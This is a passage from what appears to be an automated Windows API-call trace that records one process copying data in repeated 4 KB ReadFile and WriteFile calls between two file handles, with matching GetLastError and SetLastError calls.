[0077.887] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.887] GetLastError () returned 0x0
[0077.887] SetLastError (dwErrCode=0x0)
[0077.887] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.887] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.887] GetLastError () returned 0x0
[0077.887] SetLastError (dwErrCode=0x0)
[0077.887] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.887] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.888] GetLastError () returned 0x0
[0077.888] SetLastError (dwErrCode=0x0)
[0077.888] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.888] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.888] GetLastError () returned 0x0
[0077.888] SetLastError (dwErrCode=0x0)
[0077.888] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.888] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.888] GetLastError () returned 0x0
[0077.888] SetLastError (dwErrCode=0x0)
[0077.888] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.888] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.889] GetLastError () returned 0x0
[0077.889] SetLastError (dwErrCode=0x0)
[0077.889] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.889] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.889] GetLastError () returned 0x0
[0077.889] SetLastError (dwErrCode=0x0)
[0077.889] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.889] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.889] GetLastError () returned 0x0
[0077.890] SetLastError (dwErrCode=0x0)
[0077.890] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.890] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.891] GetLastError () returned 0x0
[0077.891] SetLastError (dwErrCode=0x0)
[0077.891] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.891] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.891] GetLastError () returned 0x0
[0077.891] SetLastError (dwErrCode=0x0)
[0077.891] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.891] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.892] GetLastError () returned 0x0
[0077.892] SetLastError (dwErrCode=0x0)
[0077.892] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.892] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.892] GetLastError () returned 0x0
[0077.892] SetLastError (dwErrCode=0x0)
[0077.892] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.892] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.893] GetLastError () returned 0x0
[0077.893] SetLastError (dwErrCode=0x0)
[0077.893] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.893] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.893] GetLastError () returned 0x0
[0077.893] SetLastError (dwErrCode=0x0)
[0077.893] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.893] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.893] GetLastError () returned 0x0
[0077.893] SetLastError (dwErrCode=0x0)
[0077.893] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.894] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.894] GetLastError () returned 0x0
[0077.894] SetLastError (dwErrCode=0x0)
[0077.894] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.894] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.894] GetLastError () returned 0x0
[0077.894] SetLastError (dwErrCode=0x0)
[0077.894] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.894] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.895] GetLastError () returned 0x0
[0077.895] SetLastError (dwErrCode=0x0)
[0077.895] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.895] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.895] GetLastError () returned 0x0
[0077.895] SetLastError (dwErrCode=0x0)
[0077.895] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.895] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.895] GetLastError () returned 0x0
[0077.895] SetLastError (dwErrCode=0x0)
[0077.895] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.896] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.896] GetLastError () returned 0x0
[0077.896] SetLastError (dwErrCode=0x0)
[0077.896] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.896] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.896] GetLastError () returned 0x0
[0077.896] SetLastError (dwErrCode=0x0)
[0077.896] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.896] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.896] GetLastError () returned 0x0
[0077.897] SetLastError (dwErrCode=0x0)
[0077.897] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.897] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.897] GetLastError () returned 0x0
[0077.897] SetLastError (dwErrCode=0x0)
[0077.897] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.897] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.897] GetLastError () returned 0x0
[0077.897] SetLastError (dwErrCode=0x0)
[0077.897] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.897] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.898] GetLastError () returned 0x0
[0077.898] SetLastError (dwErrCode=0x0)
[0077.898] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.898] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.898] GetLastError () returned 0x0
[0077.898] SetLastError (dwErrCode=0x0)
[0077.898] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.898] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.898] GetLastError () returned 0x0
[0077.898] SetLastError (dwErrCode=0x0)
[0077.898] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.899] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.899] GetLastError () returned 0x0
[0077.899] SetLastError (dwErrCode=0x0)
[0077.899] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.899] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.899] GetLastError () returned 0x0
[0077.899] SetLastError (dwErrCode=0x0)
[0077.899] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.899] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.900] GetLastError () returned 0x0
[0077.900] SetLastError (dwErrCode=0x0)
[0077.900] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.900] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.900] GetLastError () returned 0x0
[0077.900] SetLastError (dwErrCode=0x0)
[0077.900] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.900] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.900] GetLastError () returned 0x0
[0077.900] SetLastError (dwErrCode=0x0)
[0077.900] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.901] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.901] GetLastError () returned 0x0
[0077.901] SetLastError (dwErrCode=0x0)
[0077.901] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.901] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.901] GetLastError () returned 0x0
[0077.901] SetLastError (dwErrCode=0x0)
[0077.901] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.902] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.902] GetLastError () returned 0x0
[0077.902] SetLastError (dwErrCode=0x0)
[0077.902] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.902] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.902] GetLastError () returned 0x0
[0077.902] SetLastError (dwErrCode=0x0)
[0077.902] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.902] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.903] GetLastError () returned 0x0
[0077.903] SetLastError (dwErrCode=0x0)
[0077.903] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.903] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.903] GetLastError () returned 0x0
[0077.903] SetLastError (dwErrCode=0x0)
[0077.903] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.903] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.903] GetLastError () returned 0x0
[0077.903] SetLastError (dwErrCode=0x0)
[0077.903] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.904] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.904] GetLastError () returned 0x0
[0077.904] SetLastError (dwErrCode=0x0)
[0077.904] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.904] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.904] GetLastError () returned 0x0
[0077.904] SetLastError (dwErrCode=0x0)
[0077.904] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.904] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.905] GetLastError () returned 0x0
[0077.905] SetLastError (dwErrCode=0x0)
[0077.905] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
